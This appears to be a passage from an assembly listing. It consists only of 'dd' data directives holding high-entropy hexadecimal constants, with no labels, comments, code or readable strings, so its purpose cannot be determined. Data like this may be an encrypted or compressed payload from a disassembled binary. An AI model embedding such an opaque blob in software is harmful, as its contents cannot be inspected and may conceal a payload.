		dd 0D895ED2h, 9E8042F0h, 6C1E2659h, 0AFB250AFh,	357CE991h
		dd 11412C1Ah, 1E49A236h, 0D35C2659h, 711EB89Ch,	110B937Bh
		dd 8EAB844h, 0C53BE28Dh, 5BD37996h, 0B302369Eh,	72645B86h
		dd 0B46F210h, 69DE93C1h, 9D47A24Ah, 0D7A4290Eh,	1A5F3321h
		dd 7CB1B34Ch, 3942367Dh, 0A7CDB027h, 8C3BD03Fh,	0C0995B6Fh
		dd 63DB5AD9h, 5BB2425Dh, 596E12D4h, 301AEB66h, 127C1242h
		dd 0B0367B99h, 85373A43h, 69AB1B2Fh, 6F113C56h,	82902A55h
		dd 190604FDh, 494496A2h, 57F72C3Eh, 23B8002Eh, 9746267Dh
		dd 0CE04F36Ch, 2261B85Fh, 0C3C9A8Ah, 5F214258h,	49D347A6h
		dd 0BF437678h, 39E3F3B8h, 9D0FCF7Dh, 0A8C6E8ACh, 0CC2D50D0h
		dd 0D8D8D9F4h, 444BB548h, 50430547h, 0B3421DDCh, 531FD78h
		dd 82112752h, 51DCD0D5h, 3B507127h, 0CA8373Eh, 5459D671h
		dd 0ACA62D5Bh, 1922C5E3h, 681947E7h, 75DB2391h,	19ADA980h
		dd 0A6230172h, 0B3BB4BE4h, 1AF48A54h, 0D802A0ACh, 5174E621h
		dd 52E41D0Dh, 473A770Ah, 11883727h, 0D6ED38D6h,	2B161F68h
		dd 39E61959h, 1B5C2720h, 0A61D5B6h, 19C63D3Ah, 2233C148h
		dd 69D50EDBh, 0E00F6527h
		dd 63B303C3h, 34BE4239h, 6C2B16Bh, 6C14DB02h, 7831080Bh
		dd 8B625B91h, 82200CA3h, 0BAD81D83h, 0ED5C3FDBh, 2E07BF21h
		dd 7AECFB24h, 33BBB76h,	9C33E462h, 5E051B74h, 0F9140E2Fh
		dd 0F55D66CEh, 5F452C11h, 0B0B97F29h, 5E753B29h, 0A4574240h
		dd 0E6159A78h, 0D0171710h, 0EF9BA287h, 0B4829703h, 0F0EA1AEh
		dd 54741F3h, 0D517DE38h, 0A7039B34h, 0D7EB93AFh, 92D84C8Ch
		dd 879F8A25h, 55676103h, 0EFB78F4Dh, 0B58327CAh, 0BE23003h
		dd 0AF10E4Eh, 0B4320B35h, 0E66F8194h, 6E440DA2h, 6B1BA1A3h
		dd 3BADAC54h, 5E831D78h, 5F6C85Ah, 5A1DAB88h, 91676E4h
		dd 1DEFA2D3h, 0BDB2AEB8h, 92B326F7h, 9E1DE6BCh,	4B35422Fh
		dd 38261274h, 3BC38ED5h, 0AFA17D07h, 0BD97D6B9h, 73E128C9h
		dd 24BB495Bh, 2C08FC93h, 1DADD0E9h, 3C86F734h, 0A7A3D921h
		dd 60AFC106h, 0B73E1A0Ah, 52BB032Ch, 988DCCE9h,	0B939F47Bh
		dd 21C9B716h, 0B73B37DBh, 4DB30016h, 56BED90Eh,	0AF6F16B3h
		dd 0F6C8B236h, 7616AF71h, 742CD1A6h, 0BB5B0F24h, 5B0B5F79h
		dd 9A2BDE01h, 0E0D4070Eh, 0BF84818Ch, 0CEF0644Eh, 0F538714Eh
		dd 0EC094A0Fh, 7F7C9D60h, 0B8AC5AABh, 51F6228Eh, 0EBD6358Dh
		dd 913CA778h, 0A71C9DEFh, 0AF3C096Ch, 3D7833Dh,	0E752A7F5h
		dd 0B25873B8h, 494B82C9h, 531F3F5Eh, 0E4D8CCD9h, 785CA7AEh
		dd 243C485Bh, 0B70970DAh, 8594625Ch, 0B06194ABh, 65EE65BBh
		dd 0DA846F00h, 0BB20B706h, 76361581h, 48789655h, 7DD5F374h
		dd 5AF4AE01h, 1FB94908h, 423F0ABEh, 0FC6699CDh,	0E924B034h
		dd 4ECCD22Eh, 8885DB74h, 0A5C110Eh, 3E3721FCh, 0A177CB47h
		dd 25BADCBCh, 0AF42BFBBh, 0C302513Ah, 0BBA4E4ADh, 4024E060h
		dd 2076D821h, 0E4181858h, 14AE464Ah, 464A6411h,	756164AEh
		dd 640E4772h, 434A4DE4h, 0E1182059h, 7A5B8219h,	0CBB2515h
		dd 6C68835Bh, 402C5A48h, 0A30C0B39h, 190EDBE6h,	3854CFEh
		dd 54095575h, 621D205Fh, 0DC679844h, 504F672h, 5637A557h
		dd 906C2040h, 46C2C67Ah, 74DEB8AAh, 8C3003Ah, 0CC45B99h
		dd 5A0C0686h, 36A4EB03h, 3302C9C0h, 0D662AA67h,	0C43D14B4h
		dd 36B42743h, 2A22479Fh, 2B978723h, 6A0A5356h, 921D01B0h
		dd 36426E36h, 1332AFD7h, 0D80D9B8Bh, 0BBE19117h, 65915DC2h
		dd 9F6505D8h, 0D3A4A037h, 0AA4B5202h, 0B91C9014h, 1F91D83Bh
		dd 8F535D43h, 0EF991DA9h, 6F390A6Fh, 0E54F480Ah, 1FA0A446h
		dd 0AA63C200h, 89A29E1Dh, 0ABC310DAh, 0CDD34BCBh, 641A7782h
		dd 3E082B13h, 0B32E36E8h, 7786C764h, 0FCD7BE47h, 0DEA9B746h
		dd 27632316h, 0FCB358A8h, 9C1232Eh, 0D03BABA3h,	55B35B28h
		dd 672657F1h, 878A94Ah,	36CEC5A3h, 2E598132h, 0D7B02437h
		dd 5112F21Ch, 3C6ABA33h, 0E4D117BEh, 0F209046h,	6D90C873h
		dd 91D25B8h, 0C8721C0Bh, 53560BC9h, 4321CF03h, 1F5269F2h
		dd 0C9B26C4Fh, 17984021h, 22B723ABh, 0A7E74406h, 7C45DEA9h
		dd 0C7096216h, 9CEED3A3h, 0FC60CB7Dh, 595013EFh, 0BAAE6F0Bh
		dd 9D8D623h, 0D7F6D361h, 0E17EEEA6h, 51A4066Ch,	0CEDAF15Ch
		dd 0C6DA0A2Bh, 157B1C2Fh, 0D3DE05FCh, 47D611CDh, 507E5707h
		dd 6AABA787h, 0A86C87A8h, 51353BA5h, 5BC15FD5h,	408DB300h
		dd 97280FC0h, 2DC82FB3h, 9AB93A2h, 753D4C03h, 1E0673D4h
		dd 0E610AB1Ch, 0E00416A0h, 4DF0A44Eh, 6F5B0788h, 0DBBB2852h
		dd 512C51A6h, 0BC22EA1Ch, 24BF4F05h, 0EBA4E237h, 0C2A70BABh
		dd 7E419019h, 0E7A98F1Eh, 7B1901E7h, 0E31EC824h, 904608A4h
		dd 911983E3h, 5537B5EDh, 0E70B7005h, 0CF22F5CDh, 4AE3A98Fh
		dd 0C46220CBh, 42439148h, 21DB0F96h, 2C2E1DB2h,	0B738BFBFh
		dd 232341EEh, 6F2427A3h, 5EFA7CF6h, 0C3A87432h,	0E07B74Eh
		dd 801D2C8h, 36BDEAAh, 0C0E0B045h, 9072221Eh, 0FA670302h
		dd 8C04A65Ch, 279E4060h, 0FF7B53B0h, 0BD0FC118h, 3BF88429h
		dd 70FEC127h, 0FE397203h, 7F5EF2D0h, 7BEC732Fh,	47730308h
		dd 2E850A0Ah, 6E700AC6h, 57106ABBh, 0A4525324h,	0F41D4DD8h
		dd 48BD619Bh, 0FF80A7B9h, 0E9906398h, 54E0F42Eh, 0BB4C2BEBh
		dd 12783853h, 6E6FF915h, 0BB5E200Eh, 16EFB1A2h,	3682EBC0h
		dd 6D151587h, 0B360ABE2h, 22BB6533h, 527BE4F9h,	0D3F3B1Fh
		dd 0D73BAB30h, 0E4F9E4F9h, 0C33BA706h, 0F33BA314h, 0E4F9E4E0h
		dd 0E33BBF6Ah, 0B2CBBB78h, 20E116Ch, 0BBBFA3A7h, 5D301075h
		dd 6B4E5588h, 4744B757h, 85ABD046h, 0DCAC4397h,	0B9C12BEEh
		dd 16BB820Eh, 68657850h, 0B05C508Fh, 419A9372h,	91C7E0B4h
		dd 0A0F75629h, 53E80F7h, 77B046C6h, 98EE80B0h, 1C0D22B2h
		dd 2DF33019h, 0AB9B292Fh, 0B3BC5AFh, 70DF2F2h, 1D938429h
		dd 5079E666h, 8D7C9479h, 0CD410B3Ch, 0A0BAFAFh,	0F9CC160Ah
		dd 0E7C44222h, 0AC124533h, 0B2E0AE61h, 3B0EF7AAh, 70650E5Fh
		dd 0DCDA452Dh, 8434FE2Ch, 2570799Ah, 591F4166h,	0D7BD1122h
		dd 1104C50Bh, 66F6133Ah, 0BE375476h, 2C8646Ah, 0E8AC78FAh
		dd 0DDDED91Bh, 48B3BDBBh, 20416E78h, 0A35E0FC1h, 5C874FC9h
		dd 0C1BAC1D1h, 730FE55Ch, 0DB535D1Bh, 0B0C5342Bh, 2EDE7C9Bh
		dd 4875919h, 0F63E7DFDh, 0CFE8C8Bh, 3283CE8Ah, 0E73B25B2h
		dd 9F9B235Ah, 6F15082Ch, 6299F0Ch, 0AE6F043Bh, 0D26129CDh
		dd 7B1D9D04h, 4AB811D8h, 0C01D5067h, 0B2F26FDh,	23295DBAh
		dd 1474C249h, 0E87F2F6Dh, 0F3CF9270h, 0A7B356A6h, 37A8B08Ch
		dd 0A9B2F0B2h, 151183BFh, 91E5160Bh, 98101DC7h,	0F10447AFh
		dd 0C8E4F265h, 8FBF3924h, 1FA48FA4h, 7F5AE516h,	5404BB32h
		dd 13E7C84Dh, 1BA41BADh, 9B283A4h, 0AD149589h, 6A8F1FB3h
		dd 96AD2449h, 0EFCF22CDh, 0CBC0D33Bh, 1257A403h, 5F8AFC01h
		dd 118DA760h, 9B052F6Eh, 1D713C05h, 55462D4Fh, 0BB06B3AAh
		dd 523DEE32h, 0D87C3B15h, 3B413410h, 23AD612Bh,	0B8FC4487h
		dd 0E4119F43h, 0CEC8F061h, 0C8E416BBh, 0F4DDA6CFh, 0A6CFBC86h
		dd 0FEBB9D09h, 20324CE6h, 0CBCB2787h, 0A3C23ACBh, 2F1FD6FAh
		dd 0A8A48BD5h, 7BAAF75Ch, 27722305h, 9DC66B39h,	3B1559BDh
		dd 0BD7452A7h, 0BB3325CDh, 0EE044097h, 3831C979h, 0A6C7681Bh
		dd 9019A6C7h, 1EB30EC3h, 9019C3C3h, 0DF832643h,	0CF5462DFh
		dd 2047E730h, 0D9191917h, 0DFB3C30Bh, 1B9F233Ch, 0D7E78CAEh
		dd 0D7A6DBA6h, 450F20B6h, 8B322747h, 473BC0C1h,	0A5FCA4B7h
		dd 48C40B5Dh, 5A6B9DC2h, 4C238AC1h, 0E3BF8806h,	32F38EC7h
		dd 0E438778h, 85A6F788h, 59E411A2h, 298AF614h, 73C95E0Ch
		dd 858FBD5Ah, 0C8E43CD9h, 0C0DB83A7h, 5448D863h, 3EE016Ah
		dd 1ECBF277h, 0C030D8DAh, 41847E90h, 0CBBB9B9Fh, 50EFF82h
		dd 56042752h, 80C60927h, 27514D9Bh, 89BBB84Bh, 37D57543h
		dd 43059B30h, 0B91017F6h, 2FB81BB5h, 76AFE38Fh,	7B43DD01h
		dd 8EDEA7B3h, 50B00A81h, 8F3F8F94h, 0EDED0111h,	3ED91D81h
		dd 4DB5257h, 0DF8AFA41h, 9ABD049h, 0D728D65Ch, 0F45FDA7h
		dd 568FCAA4h, 0C3A97F7Fh, 0E2D90F37h, 88A78F56h, 6FED0A56h
		dd 7AA037C7h, 0DAEE4117h, 0EAF7F6A0h, 0E15764DEh, 0AF42FB52h
		dd 6332AAE7h, 0BBA985BDh, 69C3A3DCh, 0C097A906h, 2184D06h
		dd 4D466E1h, 478D7803h,	28053FEAh, 65672C92h, 2D520CD8h
		dd 8D8A36EDh, 638E5A1Ch, 721CB881h, 119C8CF2h, 576E7B50h
		dd 33C9C8CFh, 4B567873h, 233DD34Ah, 54435527h, 0ED95B08h
		dd 272A3076h, 7727697Eh
		dd 26CC879Fh, 0B306DB27h, 30B9B4A7h, 4088273Bh,	89A38B27h
		dd 31B9103h, 99A88BEBh,	0E7A318A0h, 848788A8h, 0A143CE8Bh
		dd 2E4669CBh, 198D64Dh,	0E61DB738h, 601D0489h, 0D8D8E75Dh
		dd 5D65830h, 2C1E5167h,	89656398h, 0C0B73B3Ch, 0C90460C5h
		dd 0EC4FBE48h, 0AAACAE4Ah, 69478727h, 0F9873168h, 2CBFDED8h
		dd 1B111307h, 17B5716Bh, 1843D906h, 3FCC54CFh, 45069F07h
		dd 0D47BC073h, 9235564h, 0CED917CDh, 0B48AB403h, 17A21BFh
		dd 0CF82B0E4h, 0F3E41C0Fh, 0A9631E32h, 0A97F1027h, 0D9052179h
		dd 59756D9h, 72390F8Ah,	79E0F0Ah, 13DC7DC7h, 0D03640C4h
		dd 6D99AC50h, 8B85B702h, 8709A123h, 0FD03ED96h,	2C1B2F4Bh
		dd 0D132586h, 0AF8269A7h, 61A37962h, 0F501A3C7h, 0F0EB4F20h
		dd 0BB3E8C89h, 8C228577h, 0EFC42D07h, 0B183F006h, 1D6CC001h
		dd 83534723h, 8B2A6407h, 107D150Dh, 19190642h, 157E6668h
		dd 7664AE4Eh, 9914A053h, 78B242CAh, 901A735Ch, 12064641h
		dd 0E4666068h, 8AE29C94h, 672C8ADFh, 78D8C9B3h,	0D5FF256h
		dd 0D9B7676h, 0AA3B84Dh, 0F0B24A45h, 60ABF084h,	0A74535C1h
		dd 5B91048Bh, 0B060DDDh, 2BA13904h, 88E91621h, 37FDDEF6h
		dd 0F2009653h, 37030053h, 6A0776DAh, 0D05BD108h, 36DA2195h
		dd 2A74F2BBh, 0A9B7D138h, 0A00E0317h, 5E8C2807h, 2FBC0F8Ah
		dd 0B5F1AAAh, 241B8F46h, 73609182h, 8315463Ah, 8D84B404h
		dd 0E2C55C7h, 3F1518E8h, 0D00E41B8h, 2D02A21Ah,	0A2E51E98h
		dd 3436FF7Eh, 0B80876B8h, 2B233B4Eh, 3B9CC73Bh,	83CA4746h
		dd 0D8903CCDh, 6CEA1E83h, 5B8B340Bh, 0AC5E9EA3h, 0B4CB75BAh
		dd 938239A6h, 453C6C85h, 3D8B14Dh, 0E3D5B75h, 1B12EA9Bh
		dd 0EE968657h, 0F64BD780h, 3313C0E5h, 8A52BB76h, 29C0160Ch
		dd 0EB5DB88Ah, 0DD44F2A0h, 2D58D0F7h, 0B7A130F2h, 0B55A38BBh
		dd 40B9DB2Fh, 30970E48h, 0E652DFD3h, 3242688Ch,	92137ABh
		dd 36339E41h, 31513F45h, 33DE51D7h, 0E74E0D16h,	0DEF535E9h
		dd 5886C930h, 0FCC82E08h, 0E003AC27h, 0D821272Bh, 72B809B1h
		dd 0CEF62A2Ah, 201319E6h, 55EB0047h, 0A3FA0EBh,	264322A3h
		dd 72D54448h, 0D9CE8168h, 0DB42FA1Ch, 3068AC0h,	0CD3C1B2Fh
		dd 0A3C77447h, 0DC662E43h, 0B6B5ECBh, 0D8571F40h, 4BAC68C7h
		dd 392E4150h, 810E69h, 0B8DA3627h, 1F2586EDh, 4BB65B98h
		dd 4B0C65ABh, 24522FD0h, 5445B642h, 0B653154Dh,	49540822h
		dd 49C9EED1h, 6FE91D9Eh, 56BE8799h, 0DC887045h,	0CA85F79Fh
		dd 0BCED1832h, 435B0638h, 1D23707Eh, 14475DECh,	8451BB77h
		dd 3109C113h, 14A79A97h, 43EF6480h, 0F0131BF2h,	63184705h
		dd 0B815DDCEh, 38071F55h, 0F22A4E5Fh, 3BBFF963h, 4B39C7B5h
		dd 85685E6h, 70E1077Ah,	191BA24Fh, 7465CF3Bh, 0D83B1B53h
		dd 0C5EA973Bh, 877AF752h, 3D9CE2C0h, 5DB87F39h,	0EC2C4E0Eh
		dd 12B59059h, 0EC4A57AFh, 23702051h, 0D56B3CFh,	1D9457D8h
		dd 18855580h, 33E8ACE1h, 5BD6C72Ah, 6B94379h, 370A65E3h
		dd 0ACACB190h, 935F8136h, 9A0F09B9h, 0B3CE280h,	0D873A0BBh
		dd 0A97E20E3h, 3B2140AFh, 15442725h, 5D2B39C3h,	83D5234h
		dd 6DD30D8Fh, 0C70569BDh, 92EAD6A4h, 2391B1B3h,	0DA43A623h
		dd 0E20C1972h, 3FF61B47h, 7F263FE2h, 0FA3F1831h, 20204315h
		dd 0CAEA9360h, 60DF068Dh, 0B2B54B4Bh, 6247A326h, 9D95B066h
		dd 49F35D9Dh, 0AB65C324h, 1317D562h, 0E6939224h, 50D94B09h
		dd 8685CF9Ah, 249FE41Ch, 40F247B2h, 0F5CABC36h,	68812A4Fh
		dd 81308450h, 0DC053F1Ch, 0D2422AE0h, 0D6A66AFh, 0E69B2300h
		dd 0C88E201Ch, 82845149h, 4AB316F5h, 8E084F3Eh,	524C519Fh
		dd 64720392h, 0C182B23Fh, 90E4E451h, 3B3BA7E5h,	0C14CCD3Bh
		dd 0D05C3B67h, 44081908h, 7D09485h, 661A4096h, 461BA7EEh
		dd 6C3B9668h, 0CD9C9709h, 5A07365Fh, 0AC260442h, 900D040Ah
		dd 221B290Fh, 0E6839F10h, 0E6EF09B0h, 0F70B132Bh, 0B2724E4h
		dd 0FB77A7E1h, 89A42652h, 0F058FBBAh, 3E049433h, 1CD953CCh
		dd 8DA44883h, 0BB6940A0h, 7A28DD66h, 57BF6198h,	0AB694C2Dh
		dd 0B47B019h, 159F3B49h, 0BDA90A5Ah, 0FDE926FAh, 0D3767029h
		dd 91C604ADh, 282C5C15h, 0D9E65096h, 53AA3737h,	77848D55h
		dd 368615CEh, 60391663h, 9FEF970Fh, 27616A2Ch, 57572879h
		dd 53C32717h, 84D1F9h, 140EF0A6h, 0AAF8B69Ch, 0AFEE7A09h
		dd 0A3A290A9h, 630A8F1Fh, 703C986h, 0B517A02Fh,	7964A9AFh
		dd 4ABC49D6h, 0AD4B4F33h, 8C079C76h, 1336116Ch,	5F824743h
		dd 10E50A24h, 0B1905AB8h, 0B7AC2FC9h, 0F0BF0D23h, 5F9C8208h
		dd 990E3122h, 0A3AD3F83h, 0FA55925Ch, 0F455D414h, 95A326D8h
		dd 0DCAF366Bh, 40F556E0h, 4F63AC89h, 9CC011C6h,	825B42ECh
		dd 0FDA0F6A5h, 17BBA859h, 4316D99Dh, 63050EDBh,	4B480DB7h
		dd 0F8838912h, 638BEC8Bh, 13A7A45Fh, 0A2F1639h,	0A5D5D82Bh
		dd 5BB111DEh, 5B9BF82Eh, 29DED960h, 9B30118Bh, 45C03A9Bh
		dd 3AFB6909h, 2B5548C7h, 0BF8745CEh, 1A03EF98h,	0F3479B83h
		dd 46DC7AA3h, 5935B170h, 0B2B75857h, 6DF5B05Bh,	0E1B3F052h
		dd 2752B3B9h, 88BF885Eh, 52E65711h, 730644B8h, 0D8C62471h
		dd 1A0AF25Ah, 0E673031h, 0C1573CF7h, 0B79D8C50h, 0BB837C83h
		dd 0E69F7342h, 0AD359C60h, 0FAAB0E51h, 0F24E51A3h, 51FFC839h
		dd 9E36AE03h, 0CFE29E07h, 43A10011h, 5F3B3AB0h,	0D99C5h
		dd 53FFCFAFh, 891DD0B0h, 2C2A05E2h, 33AF4A50h, 5DC95E00h
		dd 6925141Fh, 0AFA4591Eh, 0B05B152Ah, 7D8DB98Fh, 6B95B823h
		dd 0B1AF5852h, 0E66C936h, 455B6875h, 4EBE600Fh,	50555732h
		dd 0A3CA0DBh, 73D31538h, 45D3E67Bh, 0AE1717CDh,	1917D005h
		dd 1A076C39h, 0E005136Fh, 8D8DD8FDh, 5C0ED874h,	35913ECh
		dd 0D057660Ah, 1773E989h, 8D9F27AEh, 3F9F02C8h,	0D89D9B97h
		dd 0C9E02AFh, 995C939h,	0BBC03BCh, 8D95D97h, 14607D3h
		dd 6392B07h, 0BF31A01Eh, 0DCE8A1E5h, 2AF6308h, 6C47F609h
		dd 797F7B67h, 924FDED0h, 7706730Dh, 9C9C9C9Ch, 7B676B63h
		dd 9D058322h, 0EA7FCC7Fh, 6F66001h, 2FF5F10Ch, 8A3DEE8Ah
		dd 0B0CA692Bh, 1F7AAD01h, 38AE65Ah, 1648D012h, 0AD26DE60h
		dd 270E22D9h, 1BAEC43Ah, 55ED948h, 49507A7Ch, 8D60635Ah
		dd 0D66F19EFh, 196B20A7h, 0C80CD24Bh, 0D25774Fh, 0F2C8BF78h
		dd 0E46745B8h, 8DD694h,	0DE29C3DCh, 230906B0h, 0E3A76C8Ch
		dd 884B6B23h, 38AE8347h, 6B408063h, 0A1E4D4A4h,	734B5B3Dh
		dd 5323F246h, 85EF9E82h, 519BE230h, 67A20C38h, 437C47EFh
		dd 46461AF7h, 890B43DDh, 0EF071C48h, 4948326Ch,	2ED8344Ah
		dd 0B2BDB23h, 55B6318h,	5CA94F73h, 85C3096Ah, 1B22C6C7h
		dd 7C0F3F65h, 1DB87F67h, 73F4F57h, 8C3B2064h, 71B87B60h
		dd 6C81C962h, 1B134723h, 22EC0C3h, 91C3E1E4h, 515F5E68h
		dd 67261886h, 2E75D769h, 0C90D70A1h, 3A6B944Bh,	0AE4B086Dh
		dd 375F2CC7h, 0DC4B014Dh, 26FF645Ah, 0D125539Ah, 18F2020h
		dd 0A00FAC10h, 84029AA0h, 6114F3E2h, 0CF9A65F0h, 3821AF82h
		dd 0FDBB14Dh, 7D98A16Eh, 5D2CB03Bh, 0E5522B0Fh,	1B8051FEh
		dd 0A353164Dh, 79F0DBDBh, 0F631B1E4h, 0BB473647h, 5A749302h
		dd 1E4E029Bh, 0BF12BB47h, 0BB63BF25h, 2693F632h, 0F7DBDABFh
		dd 4B264B36h, 9C4ECEBBh, 6BB4993h, 0E0B1BB26h, 62FB5994h
		dd 8A20598Ch, 0A6CE83D4h
		dd 6607E7E4h, 58262773h, 659BAF1Ah, 0A1341279h,	424FA42Bh
		dd 6E5302E1h, 0DF621AB2h, 44EF00EAh, 8496EF3Dh,	8B218331h
		dd 4511442h, 6A1D420Dh,	3B630D61h, 873EA337h, 0FE97521Ch
		dd 64F175E2h, 619BAE97h, 3B59523Ah, 0EF41C533h,	0BFA10D92h
		dd 170F5FADh, 0C24DCECCh, 0E53948Ch, 1C21DF13h,	0ECE31F60h
		dd 551343A3h, 35D3201Dh, 0BF40550Ah, 0D20C8609h, 1E6ABD2Fh
		dd 0D05C959Eh, 8335F225h, 618335FCh, 30538E4Fh,	881DE085h
		dd 549A30Ah, 8462F440h,	0B2A956FBh, 6EB3AAE7h, 202906B7h
		dd 0F1462CF0h, 20904527h, 3DEB9A9Ah, 2299160Bh,	0E85BDEDEh
		dd 5102C213h, 52340F18h, 8A7B365Eh, 37458262h, 8163BA17h
		dd 0D571653Bh, 0E778A4ACh, 3D276CCCh, 18BBA457h, 0F16733A7h
		dd 0B610D24Ah, 2A4FE164h, 0FDBDF360h, 0FB2252E3h, 383F2450h
		dd 0D3AF0B20h, 0EA4395C2h, 95D3E661h, 0C9AEAA17h, 0DB48E00Bh
		dd 0F134826h, 6DC5CB74h, 27149B44h, 2E2D6315h, 52CC84B4h
		dd 0A61C0F2Ah, 648A88F7h, 81556F92h, 4CC84CC8h,	4119D595h
		dd 0A62F4930h, 0DC464096h, 0A598CEC7h, 0B8188F37h, 79873B77h
		dd 0CB9165E6h, 250F9616h, 12033F33h, 0E557B000h, 1CBE5396h
		dd 0C5E725E4h, 0BCB8F7F7h, 2182ACACh, 11B84314h, 60B99C2Fh
		dd 0BA355409h, 8D01525Fh, 799224F2h, 3A884726h,	21E22FDCh
		dd 0C5BEBA34h, 91EFB53Dh, 1036665Bh, 8D8B517Ch,	5F5B0574h
		dd 11143B45h, 13AAA567h, 9CFC3DC2h, 0EF25D84Ch,	0DD39206Ch
		dd 80F662A6h, 516B2670h, 0F24B6CBEh, 6A0A58B0h,	4140202Dh
		dd 647152Dh, 0D71CB87Bh, 5212CC18h, 5A6DC097h, 0EDCEAC2Eh
		dd 0A4308E50h, 8A3079ADh, 0F957ED06h, 42445058h, 46571BBBh
		dd 59BB857h, 1791C92Ch,	521132C9h, 0C385268h, 52790E40h
		dd 92FB0FE7h, 9120043h,	320A452Dh, 0F907082Fh, 2C296790h
		dd 8173A37Ah, 13251C95h, 86424665h, 0AD804E42h,	0C1498F1h
		dd 66DC0206h, 0A6A0300Fh, 5FF274AAh, 0C543D02Ch, 0FC5C624Fh
		dd 0C3B67416h, 0C3564D5Ah, 0D342117Bh, 1F5198AEh, 0DFBBEDE5h
		dd 0AB7D8D9Eh, 0F635F60Ch, 0EEB37DF7h, 0D9307926h, 141F0290h
		dd 1E4102Bh, 0B227C6Bh,	0E0F15426h, 7FF1FAB0h, 0BEB31B91h
		dd 51936F14h, 8B92BFC9h, 75E0DE5Ch, 3BCE7BE6h, 2D97F8BFh
		dd 0F0C2AD0Bh, 53F45819h, 713DC12Ch, 63BB0E33h,	0DA101032h
		dd 6E895B63h, 0AA35056Ah, 8FE18FA4h, 4118DBC3h,	173F8F4Ch
		dd 442FB756h, 4B5876EEh, 26376A0Bh, 0D6E0C5Ah, 3C3E2BF4h
		dd 780BB886h, 68788B6Ch, 62501689h, 2751ED8Ah, 172E2104h
		dd 27576A3h, 1AF0AE82h,	6A390D0Ch, 77FC0CF3h, 0A492B737h
		dd 0B501BBC0h, 3794F15h, 8007A510h, 3C347811h, 0EB31570Fh
		dd 926FC873h, 9992782Eh, 6DDB512h, 39292E0Bh, 23001B29h
		dd 0E4A09754h, 16299279h, 0DEC7C418h, 48FE52A8h, 0CC4B5678h
		dd 0CC3C1AAh, 54C913C0h, 901BE3CEh, 0EAA476CBh,	325F264Dh
		dd 4F07288Fh, 0B1668791h, 0B199B23Eh, 673D436Dh, 0D197E8ADh
		dd 25B07777h, 3B0E5F85h, 75BB3A57h, 285517Fh, 35523677h
		dd 9C9D5DCDh, 7E7DDCCDh, 50220B11h, 0E4B80B10h,	0CDAB7580h
		dd 6574A46Eh, 45BF3A84h, 0C9B7068Bh, 1CCDDE0Fh,	1F17482Dh
		dd 0CB90CD8Fh, 7975791Eh, 514EA2BAh, 1B361F83h,	5B7D731Bh
		dd 9FDC3483h, 4064B1ACh, 97EFAC9Eh, 14AB1876h, 730777h
		dd 0FB3630Ch, 11D32B80h, 0C3C33B44h, 90A99F22h,	0ECCD0E9Dh
		dd 292FEEB9h, 2D500580h, 54933B1Fh, 0BD55758Eh,	36C313D8h
		dd 8D914727h, 0B4241B3Ch, 0F7D3187Dh, 75872553h, 9BE54787h
		dd 0FF1A540Ah, 2DB3A97Eh, 0A40A65CAh, 0BDED8AAh, 0AAD29B78h
		dd 78083700h, 4FA0C896h, 520BDF9Dh, 0AB66395Fh,	0E766C311h
		dd 10471385h, 0A079194Eh, 19286B9Eh, 726DFB20h,	15DE1E40h
		dd 7BEDCF67h, 784B903Ch, 0C3324FDAh, 8B9253B1h,	0C8380D9h
		dd 936EB73Eh, 236E356Dh, 881311EDh, 1EC76C9Bh, 0FB3467D8h
		dd 0ECED0F15h, 0C84EABB7h, 0ABB73E4Bh, 4F55ABB7h, 3F332767h
		dd 3BA43322h, 0B3DA6FFAh, 9DECDB90h, 192105ABh,	0E1DE1055h
		dd 12BE8F3Ch, 0E41485D8h, 57CC7480h, 74902362h,	0F25C80C6h
		dd 4A3348DDh, 811D255Ch, 0D4EBCB17h, 1D7F4833h,	3E401D4h
		dd 19E5BFCDh, 0B903806Ah, 1B4F4884h, 157C0597h,	94E4A1F0h
		dd 0E01FE00h, 0A5F6574h, 0DFCD47EDh, 0A9ECE00Eh, 0AFBAA57Bh
		dd 81B10CEh, 0A4916E7Dh, 99A57B5Dh, 82C16404h, 0FC3FBC44h
		dd 207B0E1Ah, 7427FE11h, 27431830h, 27557040h, 4009E16Fh
		dd 0C63B083Ch, 0BDB27049h, 7757D9C9h, 76360C6Dh, 9D6FB9EAh
		dd 0FB20D603h, 0EC9671Eh, 695F430Bh, 45E0B235h,	6905B0A6h
		dd 81ED2678h, 0F172087Dh, 54391DF5h, 0C82F6CEBh, 0A6BB8F91h
		dd 18D5008h, 0D3FC2774h, 772B76F6h, 2594B3Dh, 0B4B49BEh
		dd 0B1A4841Bh, 0A4E68A3Fh, 0B3F628DFh, 0E77B2CA6h, 0A68FCB20h
		dd 6A68F5Dh, 0DAF5012Ch, 2F53059Fh, 9428151Fh, 3ED7897Bh
		dd 0DF3711DEh, 0F966C35Eh, 0BC06B178h, 4BA71E18h, 17EF613Bh
		dd 20D7DB21h, 0BC6DA18h, 0F7BA7B6Fh, 198ECDB8h,	0BB47D9DEh
		dd 0DCC3C82Dh, 5F56DFE6h, 0CDE301BAh, 91EE0691h, 0AD16DFDDh
		dd 66CD695h, 0D6DBD97Eh, 3233056Ah, 0BD99DD2h, 737E6060h
		dd 90D02E4h, 7BA55FA1h,	0EF9391A4h, 0F3D04CCBh,	42175F84h
		dd 464E477Dh, 459C549Eh, 8CE9BC67h, 0B4348C9Ch,	33846948h
		dd 0CCF23272h, 92EC1373h, 0E4ECC01Eh, 31E26E5Fh, 727A4BC9h
		dd 4B0F77C2h, 0B4CE9F03h, 278B810h, 0B4B24695h,	4330F01Dh
		dd 3FD634BAh, 0E7B0621Eh, 0A6167481h, 254921AFh, 0E761CC97h
		dd 69B31B0Ch, 1DF44A5h,	0CEEF25E4h, 9C26CE20h, 0A4BC80C5h
		dd 0CEE36944h, 0D9193DB8h, 0DF5B8378h, 16D7EDF7h, 0D8CC2E0h
		dd 0C1BA79Bh, 9BF8015h,	603B5ED8h, 623646E8h, 2C3D7F25h
		dd 7E458383h, 4FD07057h, 2BACACCFh, 58B642CEh, 0D83B0BF3h
		dd 918B2A09h, 4BE69066h, 83434B1Bh, 4B919814h, 7F52C487h
		dd 7AA3DEDh, 4305124Ch,	0ADBF63F2h, 296C44D6h, 89038576h
		dd 660B0F33h, 530C89BEh, 705EF430h, 54EC3C3Eh, 3F4626h
		dd 8D459803h, 0C2B2F25Ch, 4761CE5Bh, 8C8C4807h,	375F4305h
		dd 1D80E4ECh, 0BACCF8ABh, 0CFAF46D7h, 0B83C13DEh, 4FC30071h
		dd 0F2760306h, 0E6730E30h, 1A3361Eh, 2625EC39h,	49B74B46h
		dd 42893EFCh, 7700BB6Dh, 0DE4541B8h, 7928727Bh,	2C60CF87h
